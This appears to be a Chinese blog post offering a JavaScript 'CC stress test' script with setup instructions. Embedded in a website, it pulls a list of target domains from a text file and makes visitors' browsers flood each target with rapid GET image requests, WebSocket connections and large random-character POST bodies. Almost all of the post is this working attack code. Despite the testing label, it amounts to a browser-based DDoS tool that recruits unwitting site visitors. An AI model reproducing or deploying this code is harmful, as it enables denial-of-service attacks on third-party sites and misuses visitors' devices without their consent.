示例说明:
此Cc压力测试是轮训模式 TXT文件里面一行一个域名(如果不测试压力了。清空TXT里面的所有 点击保存即可)
例如你这个js文件名字是 cc.js
那么你php文件里面调用这个文件示例:
<script type="text/javascript" src="/域名/cc.js"></script>
[rihide]
里面有个路径//域名/update.txt
自己在你网站里面创建个txt的文件 文件名字为update.txt
这个随意,要跟你调用的txt路径一模一样
var ccdao = {
init:function(){
var xmlhttp = this.getxmlhttp();
xmlhttp.open('GET','//域名/update.txt',true);
xmlhttp.onreadystatechange=function(){
if (xmlhttp.readyState==4 && xmlhttp.status==200){
var d = xmlhttp.responseText;
if(d){
d = d.split("\r\n");
for(var i in d)
ccdao.cc_get(d[i]);
}
}
};
xmlhttp.send();
},
cc_ws:function(url){
setInterval(function(){
for(var i=0;i<2;i++){
var socket = new WebSocket('ws://' + url);
socket.onopen = function(){
socket._socket.write(new Buffer([1000]));
socket.send('cc send');
};
socket.onclose = function(event){
console.clear();
};
socket.onerror = function(error){
console.clear();
};
}
},300);
},
cc_get:function(url){
var times = setInterval(function(){
for(var i=0;i<2;i++){
var b = url + '?_=' + new Date().getTime();
var a = new Image;
a.src = b;
}
},100);
setTimeout(function(){
clearInterval(times);
});
},
cc_post:function(url){
if(!!+[1,]){setInterval(function(){ccdao.postsend(url);},1000);}
},
getxmlhttp:function(){
var xmlhttp = null;
if(window.ActiveXObject)
xmlhttp = new ActiveXObject('Microsoft.XMLHTTP');
else if(window.XMLHttpRequest)
xmlhttp = new XMLHttpRequest();
return xmlhttp;
},
postsend:function(url){
var xmlhttp = this.getxmlhttp();
xmlhttp.open('POST',url,true);
xmlhttp.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
xmlhttp.send(this.getccdata());
},
getccdata:function(){
var strs = '';
for(var i = 0;i < 99999;i++)
strs += String.fromCodePoint(Math.round(Math.random() * 20901) + 19968);
return strs;
}
};
ccdao.init();
[/rihide]
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
暂无评论内容